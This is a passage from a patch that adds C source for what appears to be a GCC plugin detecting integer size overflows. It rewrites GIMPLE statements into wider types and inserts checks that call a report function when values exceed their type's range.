POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) || ++ (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE)); ++} ++ ++static int find_arg_number(const_tree arg, tree func) ++{ ++ tree var; ++ unsigned int argnum = 1; ++ ++ if (TREE_CODE(arg) == SSA_NAME) ++ arg = SSA_NAME_VAR(arg); ++ ++ for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) { ++ if (strcmp(NAME(arg), NAME(var))) { ++ argnum++; ++ continue; ++ } ++ check_arg_type(var); ++ return argnum; ++ } ++ gcc_unreachable(); ++} ++ ++static tree create_new_var(tree type) ++{ ++ tree new_var = create_tmp_var(type, "cicus"); ++ ++ add_referenced_var(new_var); ++ mark_sym_for_renaming(new_var); ++ return new_var; ++} ++ ++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2) ++{ ++ gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree type = TREE_TYPE(rhs1); ++ tree lhs = create_new_var(type); ++ ++ assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2); ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ return assign; ++} ++ ++static bool is_bool(const_tree node) ++{ ++ const_tree type; ++ ++ if (node == NULL_TREE) ++ return false; ++ ++ type = TREE_TYPE(node); ++ if (!INTEGRAL_TYPE_P(type)) ++ return false; ++ if (TREE_CODE(type) == BOOLEAN_TYPE) ++ return true; ++ if (TYPE_PRECISION(type) == 1) ++ return true; ++ return false; ++} ++ ++static tree cast_a_tree(tree type, tree var) ++{ ++ gcc_assert(type != NULL_TREE); ++ gcc_assert(var != NULL_TREE); ++ gcc_assert(fold_convertible_p(type, var)); ++ ++ return fold_convert(type, var); ++} ++ ++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before) ++{ ++ gimple assign; ++ ++ gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE); ++ if (gsi_end_p(*gsi) && before == AFTER_STMT) ++ gcc_unreachable(); ++ ++ if (lhs == CREATE_NEW_VAR) ++ lhs = create_new_var(dst_type); ++ ++ assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs)); ++ ++ if (!gsi_end_p(*gsi)) { ++ location_t loc = gimple_location(gsi_stmt(*gsi)); ++ gimple_set_location(assign, loc); ++ } ++ ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ if (before) ++ gsi_insert_before(gsi, assign, GSI_NEW_STMT); ++ else ++ gsi_insert_after(gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ ++ return assign; ++} ++ ++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi; ++ ++ if (new_rhs1 == NULL_TREE) ++ return NULL_TREE; ++ ++ if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) { ++ gsi = gsi_for_stmt(stmt); ++ assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before); ++ return gimple_get_lhs(assign); ++ } ++ return new_rhs1; ++} ++ ++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3) ++{ ++ tree size_overflow_type = get_size_overflow_type(stmt, node); ++ ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs2 != NULL_TREE) ++ new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs3 != NULL_TREE) ++ new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT); ++ ++ return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3); ++} ++ ++ ++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before) ++{ ++ tree size_overflow_type, lhs; ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ ++ if (rhs1 == NULL_TREE) { ++ debug_gimple_stmt(oldstmt); ++ error("%s: rhs1 is NULL_TREE", __func__); ++ gcc_unreachable(); ++ } ++ ++ if (gimple_code(oldstmt) == GIMPLE_ASM) ++ lhs = rhs1; ++ else ++ lhs = gimple_get_lhs(oldstmt); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ pointer_set_insert(visited, oldstmt); ++ if (lookup_stmt_eh_lp(oldstmt) != 0) { ++ basic_block next_bb, cur_bb; ++ const_edge e; ++ ++ gcc_assert(before == false); ++ gcc_assert(stmt_can_throw_internal(oldstmt)); ++ gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ cur_bb = gimple_bb(oldstmt); ++ next_bb = cur_bb->next_bb; ++ e = find_edge(cur_bb, next_bb); ++ gcc_assert(e != NULL); ++ gcc_assert(e->flags & EDGE_FALLTHRU); ++ ++ gsi = gsi_after_labels(next_bb); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ before = true; ++ oldstmt = gsi_stmt(gsi); ++ } ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, lhs); ++ ++ stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before); ++ gimple_set_plf(stmt, MY_STMT, true); ++ return gimple_get_lhs(stmt); ++} ++ ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3) ++{ ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ tree new_var, lhs = gimple_get_lhs(oldstmt); ++ ++ if (gimple_plf(oldstmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) { ++ rhs1 = gimple_assign_rhs1(oldstmt); ++ rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT); ++ } ++ if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) { ++ rhs2 = gimple_assign_rhs2(oldstmt); ++ rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT); ++ } ++ ++ stmt = gimple_copy(oldstmt); ++ gimple_set_location(stmt, gimple_location(oldstmt)); ++ gimple_set_plf(stmt, MY_STMT, true); ++ ++ if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR) ++ gimple_assign_set_rhs_code(stmt, MULT_EXPR); ++ ++ if (is_bool(lhs)) ++ new_var = SSA_NAME_VAR(lhs); ++ else ++ new_var = create_new_var(size_overflow_type); ++ new_var = make_ssa_name(new_var, stmt); ++ gimple_set_lhs(stmt, new_var); ++ ++ if (rhs1 != NULL_TREE) { ++ if (!gimple_assign_cast_p(oldstmt)) ++ rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ gimple_assign_set_rhs1(stmt, rhs1); ++ } ++ ++ if (rhs2 != NULL_TREE) ++ gimple_assign_set_rhs2(stmt, rhs2); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (rhs3 != NULL_TREE) ++ gimple_assign_set_rhs3(stmt, rhs3); ++#endif ++ gimple_set_vuse(stmt, gimple_vuse(oldstmt)); ++ gimple_set_vdef(stmt, gimple_vdef(oldstmt)); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, stmt, GSI_SAME_STMT); ++ update_stmt(stmt); ++ pointer_set_insert(visited, oldstmt); ++ return gimple_get_lhs(stmt); ++} ++ ++static gimple overflow_create_phi_node(gimple oldstmt, tree result) ++{ ++ basic_block bb; ++ gimple phi; ++ gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt); ++ ++ bb = gsi_bb(gsi); ++ ++ phi = create_phi_node(result, bb); ++ gsi = gsi_last(phi_nodes(bb)); ++ gsi_remove(&gsi, false); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, phi, GSI_NEW_STMT); ++ gimple_set_bb(phi, bb); ++ gimple_set_plf(phi, MY_STMT, true); ++ return phi; ++} ++ ++static basic_block create_a_first_bb(void) ++{ ++ basic_block first_bb; ++ ++ first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR); ++ return first_bb; ++} ++ ++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i) ++{ ++ basic_block bb; ++ const_gimple newstmt; ++ gimple_stmt_iterator gsi; ++ bool before = BEFORE_STMT; ++ ++ if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) { ++ gsi = gsi_for_stmt(get_def_stmt(arg)); ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT); ++ return gimple_get_lhs(newstmt); ++ } ++ ++ bb = gimple_phi_arg_edge(oldstmt, i)->src; ++ gsi = gsi_after_labels(bb); ++ if (bb->index == 0) { ++ bb = create_a_first_bb(); ++ gsi = gsi_start_bb(bb); ++ } ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before); ++ return gimple_get_lhs(newstmt); ++} ++ ++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs) ++{ ++ gimple newstmt; ++ gimple_stmt_iterator gsi; ++ void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update); ++ gimple def_newstmt = get_def_stmt(new_rhs); ++ ++ gsi_insert = gsi_insert_after; ++ gsi = gsi_for_stmt(def_newstmt); ++ ++ switch (gimple_code(get_def_stmt(arg))) { ++ case GIMPLE_PHI: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ gsi = gsi_after_labels(gimple_bb(def_newstmt)); ++ gsi_insert = gsi_insert_before; ++ break; ++ case GIMPLE_ASM: ++ case GIMPLE_CALL: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ break; ++ case GIMPLE_ASSIGN: ++ newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt)); ++ break; ++ default: ++ /* unknown gimple_code (handle_build_new_phi_arg) */ ++ gcc_unreachable(); ++ } ++ ++ gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt)); ++ gsi_insert(&gsi, newstmt, GSI_NEW_STMT); ++ gimple_set_plf(newstmt, MY_STMT, true); ++ update_stmt(newstmt); ++ return newstmt; ++} ++ ++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var) ++{ ++ const_gimple newstmt; ++ gimple def_stmt; ++ tree new_rhs; ++ ++ new_rhs = expand(visited, arg); ++ if (new_rhs == NULL_TREE) ++ return NULL_TREE; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ if (gimple_code(def_stmt) == GIMPLE_NOP) ++ return NULL_TREE; ++ new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT); ++ ++ newstmt = handle_new_phi_arg(arg, new_var, new_rhs); ++ return gimple_get_lhs(newstmt); ++} ++ ++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result) ++{ ++ gimple phi, oldstmt = get_def_stmt(orig_result); ++ tree new_result, size_overflow_type; ++ unsigned int i; ++ unsigned int n = gimple_phi_num_args(oldstmt); ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, orig_result); ++ ++ new_result = create_new_var(size_overflow_type); ++ ++ pointer_set_insert(visited, oldstmt); ++ phi = overflow_create_phi_node(oldstmt, new_result); ++ for (i = 0; i < n; i++) { ++ tree arg, lhs; ++ ++ arg = gimple_phi_arg_def(oldstmt, i); ++ if (is_gimple_constant(arg)) ++ arg = cast_a_tree(size_overflow_type, arg); ++ lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result); ++ if (lhs == NULL_TREE) ++ lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i); ++ add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt)); ++ } ++ ++ update_stmt(phi); ++ return gimple_phi_result(phi); ++} ++ ++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(orig_rhs); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN); ++ ++ assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ return gimple_get_lhs(assign); ++} ++ ++static void change_rhs1(gimple stmt, tree new_rhs1) ++{ ++ tree assign_rhs; ++ const_tree rhs = gimple_assign_rhs1(stmt); ++ ++ assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1); ++ gimple_assign_set_rhs1(stmt, assign_rhs); ++ update_stmt(stmt); ++} ++ ++static bool check_mode_type(const_gimple stmt) ++{ ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt)); ++ enum machine_mode lhs_mode = TYPE_MODE(lhs_type); ++ enum machine_mode rhs_mode = TYPE_MODE(rhs_type); ++ ++ if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type))) ++ return false; ++ ++ return true; ++} ++ ++static bool check_undefined_integer_operation(const_gimple stmt) ++{ ++ const_gimple def_stmt; ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs1); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN) ++ return false; ++ ++ if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR) ++ return false; ++ return true; ++} ++ ++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs) ++{ ++ const_tree rhs1, lhs, rhs1_type, lhs_type; ++ enum machine_mode lhs_mode, rhs_mode; ++ gimple def_stmt = get_def_stmt(no_const_rhs); ++ ++ if (!gimple_assign_cast_p(def_stmt)) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ lhs = gimple_get_lhs(def_stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ lhs_type = TREE_TYPE(lhs); ++ rhs_mode = TYPE_MODE(rhs1_type); ++ lhs_mode = TYPE_MODE(lhs_type); ++ if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt) ++{ ++ tree size_overflow_type, lhs = gimple_get_lhs(stmt); ++ tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ new_rhs1 = expand(visited, rhs1); ++ ++ if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_plf(stmt, NO_CAST_CHECK)) ++ return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) { ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ } ++ ++ if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt)) ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ change_rhs1(stmt, new_rhs1); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ ++ rhs1 = gimple_assign_rhs1(stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type)) ++ return create_assign(visited, stmt, rhs1, AFTER_STMT); ++ ++ if (!check_mode_type(stmt)) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ size_overflow_type = get_size_overflow_type(stmt, lhs); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(def_stmt); ++ ++ if (is_gimple_constant(rhs1)) ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ gcc_assert(TREE_CODE(rhs1) != COND_EXPR); ++ switch (TREE_CODE(rhs1)) { ++ case SSA_NAME: ++ return handle_unary_rhs(visited, def_stmt); ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case ADDR_EXPR: ++ case COMPONENT_REF: ++ case INDIRECT_REF: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case PARM_DECL: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ default: ++ debug_gimple_stmt(def_stmt); ++ debug_tree(rhs1); ++ gcc_unreachable(); ++ } ++} ++ ++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value) ++{ ++ gimple cond_stmt; ++ gimple_stmt_iterator gsi = gsi_last_bb(cond_bb); ++ ++ cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE); ++ gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(cond_stmt); ++} ++ ++static tree create_string_param(tree string) ++{ ++ tree i_type, a_type; ++ const int length = TREE_STRING_LENGTH(string); ++ ++ gcc_assert(length > 0); ++ ++ i_type = build_index_type(build_int_cst(NULL_TREE, length - 1)); ++ a_type = build_array_type(char_type_node, i_type); ++ ++ TREE_TYPE(string) = a_type; ++ TREE_CONSTANT(string) = 1; ++ TREE_READONLY(string) = 1; ++ ++ return build1(ADDR_EXPR, ptr_type_node, string); ++} ++ ++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min) ++{ ++ gimple func_stmt; ++ const_gimple def_stmt; ++ const_tree loc_line; ++ tree loc_file, ssa_name, current_func; ++ expanded_location xloc; ++ char ssa_name_buf[256]; ++ gimple_stmt_iterator gsi = gsi_start_bb(bb_true); ++ ++ def_stmt = get_def_stmt(arg); ++ xloc = expand_location(gimple_location(def_stmt)); ++ ++ if (!gimple_has_location(def_stmt)) { ++ xloc = expand_location(gimple_location(stmt)); ++ if (!gimple_has_location(stmt)) ++ xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ } ++ ++ loc_line = build_int_cstu(unsigned_type_node, xloc.line); ++ ++ loc_file = build_string(strlen(xloc.file) + 1, xloc.file); ++ loc_file = create_string_param(loc_file); ++ ++ current_func = build_string(NAME_LEN(current_function_decl) + 1, NAME(current_function_decl)); ++ current_func = create_string_param(current_func); ++ ++ snprintf(ssa_name_buf, 256, "%s_%u (%s)\n", NAME(SSA_NAME_VAR(arg)), SSA_NAME_VERSION(arg), min ? "min" : "max"); ++ ssa_name = build_string(256, ssa_name_buf); ++ ssa_name = create_string_param(ssa_name); ++ ++ // void report_size_overflow(const char *file, unsigned int line, const char *func, const char *ssa_name) ++ func_stmt = gimple_build_call(report_size_overflow_decl, 4, loc_file, loc_line, current_func, ssa_name); ++ ++ gsi_insert_after(&gsi, func_stmt, GSI_CONTINUE_LINKING); ++} ++ ++static void __unused print_the_code_insertions(const_gimple stmt) ++{ ++ location_t loc = gimple_location(stmt); ++ ++ inform(loc, "Integer size_overflow check applied here."); ++} ++ ++static void insert_check_size_overflow(gimple stmt, enum tree_code cond_code, tree arg, tree type_value, bool before, bool min) ++{ ++ basic_block cond_bb, join_bb, bb_true; ++ edge e; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ ++ cond_bb = gimple_bb(stmt); ++ if (before) ++ gsi_prev(&gsi); ++ if (gsi_end_p(gsi)) ++ e = split_block_after_labels(cond_bb); ++ else ++ e = split_block(cond_bb, gsi_stmt(gsi)); ++ cond_bb = e->src; ++ join_bb = e->dest; ++ e->flags = EDGE_FALSE_VALUE; ++ e->probability = REG_BR_PROB_BASE; ++ ++ bb_true = create_empty_bb(cond_bb); ++ make_edge(cond_bb, bb_true, EDGE_TRUE_VALUE); ++ make_edge(cond_bb, join_bb, EDGE_FALSE_VALUE); ++ make_edge(bb_true, join_bb, EDGE_FALLTHRU); ++ ++ if (dom_info_available_p(CDI_DOMINATORS)) { ++ set_immediate_dominator(CDI_DOMINATORS, bb_true, cond_bb); ++ set_immediate_dominator(CDI_DOMINATORS, join_bb, cond_bb); ++ } ++ ++ if (current_loops != NULL) { ++ gcc_assert(cond_bb->loop_father == join_bb->loop_father); ++ add_bb_to_loop(bb_true, cond_bb->loop_father); ++ } ++ ++ insert_cond(cond_bb, arg, cond_code, type_value); ++ insert_cond_result(bb_true, stmt, arg, min); ++ ++// print_the_code_insertions(stmt); ++} ++ ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before) ++{ ++ const_tree rhs_type = TREE_TYPE(rhs); ++ tree cast_rhs_type, type_max_type, type_min_type, type_max, type_min; ++ ++ gcc_assert(rhs_type != NULL_TREE); ++ if (TREE_CODE(rhs_type) == POINTER_TYPE) ++ return; ++ ++ gcc_assert(TREE_CODE(rhs_type) == INTEGER_TYPE || TREE_CODE(rhs_type) == BOOLEAN_TYPE || TREE_CODE(rhs_type) == ENUMERAL_TYPE); ++ ++ type_max = cast_a_tree(size_overflow_type, TYPE_MAX_VALUE(rhs_type)); ++ type_min = cast_a_tree(size_overflow_type, TYPE_MIN_VALUE(rhs_type)); ++ ++ gcc_assert(!TREE_OVERFLOW(type_max)); ++ ++ cast_rhs_type = TREE_TYPE(cast_rhs); ++ type_max_type = TREE_TYPE(type_max); ++ type_min_type = TREE_TYPE(type_min); ++ gcc_assert(useless_type_conversion_p(cast_rhs_type, type_max_type)); ++ gcc_assert(useless_type_conversion_p(type_max_type, type_min_type)); ++ ++ insert_check_size_overflow(stmt, GT_EXPR, cast_rhs, type_max, before, false); ++ insert_check_size_overflow(stmt, LT_EXPR, cast_rhs, type_min, before, true); ++} ++ ++static tree get_size_overflow_type_for_intentional_overflow(gimple def_stmt, tree change_rhs) ++{ ++ gimple change_rhs_def_stmt; ++ tree lhs = gimple_get_lhs(def_stmt); ++ tree lhs_type = TREE_TYPE(lhs); ++ tree rhs1_type = TREE_TYPE(gimple_assign_rhs1(def_stmt)); ++ tree rhs2_type = TREE_TYPE(gimple_assign_rhs2(def_stmt)); ++ ++ if (change_rhs == NULL_TREE) ++ return get_size_overflow_type(def_stmt, lhs); ++ ++ change_rhs_def_stmt = get_def_stmt(change_rhs); ++ ++ if (TREE_CODE_CLASS(gimple_assign_rhs_code(def_stmt)) == tcc_comparison) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == LSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (gimple_assign_rhs_code(def_stmt) == RSHIFT_EXPR) ++ return get_size_overflow_type(change_rhs_def_stmt, change_rhs); ++ ++ if (!useless_type_conversion_p(lhs_type, rhs1_type) || !useless_type_conversion_p(rhs1_type, rhs2_type)) { ++ debug_gimple_stmt(def_stmt); ++ gcc_unreachable(); ++ } ++ ++ return get_size_overflow_type(def_stmt, lhs); ++} ++ ++static bool is_a_constant_overflow(const_gimple stmt, const_tree rhs) ++{ ++ if (gimple_assign_rhs_code(stmt) == MIN_EXPR) ++ return false; ++ if (!is_gimple_constant(rhs)) ++ return false; ++ return true; ++} ++ ++static tree get_cast_def_stmt_rhs(const_tree new_rhs) ++{ ++ gimple def_stmt; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ // get_size_overflow_type ++ if (LONG_TYPE_SIZE != GET_MODE_BITSIZE(SImode)) ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ return gimple_assign_rhs1(def_stmt); ++} ++ ++static tree cast_to_int_TI_type_and_check(gimple stmt, tree new_rhs) ++{ ++ gimple_stmt_iterator gsi; ++ const_gimple cast_stmt; ++ gimple def_stmt; ++ enum machine_mode mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ ++ if (mode != TImode && mode != DImode) { ++ def_stmt = get_def_stmt(new_rhs); ++ gcc_assert(gimple_assign_cast_p(def_stmt)); ++ new_rhs = gimple_assign_rhs1(def_stmt); ++ mode = TYPE_MODE(TREE_TYPE(new_rhs)); ++ } ++ ++ gcc_assert(mode == TImode || mode == DImode); ++ ++ if (mode == TYPE_MODE(intTI_type_node) && useless_type_conversion_p(TREE_TYPE(new_rhs), intTI_type_node)) ++ return new_rhs; ++ ++ gsi = gsi_for_stmt(stmt); ++ cast_stmt = build_cast_stmt(intTI_type_node, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ new_rhs = gimple_get_lhs(cast_stmt); ++ ++ if (mode == DImode) ++ return new_rhs; ++ ++ check_size_overflow(stmt, intTI_type_node, new_rhs, new_rhs, BEFORE_STMT); ++ ++ return new_rhs; ++} ++ ++static bool is_an_integer_trunction(const_gimple stmt) ++{ ++ gimple rhs1_def_stmt, rhs2_def_stmt; ++ const_tree rhs1_def_stmt_rhs1, rhs2_def_stmt_rhs1; ++ enum machine_mode rhs1_def_stmt_rhs1_mode, rhs2_def_stmt_rhs1_mode; ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs2 = gimple_assign_rhs2(stmt); ++ enum machine_mode rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1)); ++ enum machine_mode rhs2_mode = TYPE_MODE(TREE_TYPE(rhs2)); ++ ++ if (is_gimple_constant(rhs1) || is_gimple_constant(rhs2)) ++ return false; ++ ++ gcc_assert(TREE_CODE(rhs1) == SSA_NAME && TREE_CODE(rhs2) == SSA_NAME); ++ ++ if (gimple_assign_rhs_code(stmt) != MINUS_EXPR || rhs1_mode != SImode || rhs2_mode != SImode) ++ return false; ++ ++ rhs1_def_stmt = get_def_stmt(rhs1); ++ rhs2_def_stmt = get_def_stmt(rhs2); ++ if (!gimple_assign_cast_p(rhs1_def_stmt) || !gimple_assign_cast_p(rhs2_def_stmt)) ++ return false; ++ ++ rhs1_def_stmt_rhs1 = gimple_assign_rhs1(rhs1_def_stmt); ++ rhs2_def_stmt_rhs1 = gimple_assign_rhs1(rhs2_def_stmt); ++ rhs1_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs1_def_stmt_rhs1)); ++ rhs2_def_stmt_rhs1_mode = TYPE_MODE(TREE_TYPE(rhs2_def_stmt_rhs1)); ++ if (rhs1_def_stmt_rhs1_mode != DImode || rhs2_def_stmt_rhs1_mode != DImode) ++ return false; ++ ++ gimple_set_plf(rhs1_def_stmt, NO_CAST_CHECK, true); ++ gimple_set_plf(rhs2_def_stmt, NO_CAST_CHECK, true); ++ return true; ++} ++ ++static tree handle_integer_truncation(struct pointer_set_t *visited, const_tree lhs) ++{ ++ tree new_rhs1, new_rhs2; ++ tree new_rhs1_def_stmt_rhs1, new_rhs2_def_stmt_rhs1, new_lhs; ++ tree new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type; ++ gimple assign, stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(stmt); ++ tree rhs2 = gimple_assign_rhs2(stmt); ++ ++ if (!is_an_integer_trunction(stmt)) ++ return NULL_TREE; ++ ++ new_rhs1 = expand(visited, rhs1); ++ new_rhs2 = expand(visited, rhs2); ++ ++ new_rhs1_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs1); ++ new_rhs2_def_stmt_rhs1 = get_cast_def_stmt_rhs(new_rhs2); ++ ++ new_rhs1_def_stmt_rhs1_type = TREE_TYPE(new_rhs1_def_stmt_rhs1); ++ new_rhs2_def_stmt_rhs1_type = TREE_TYPE(new_rhs2_def_stmt_rhs1); ++ ++ if (!useless_type_conversion_p(new_rhs1_def_stmt_rhs1_type, new_rhs2_def_stmt_rhs1_type)) { ++ new_rhs1_def_stmt_rhs1 = 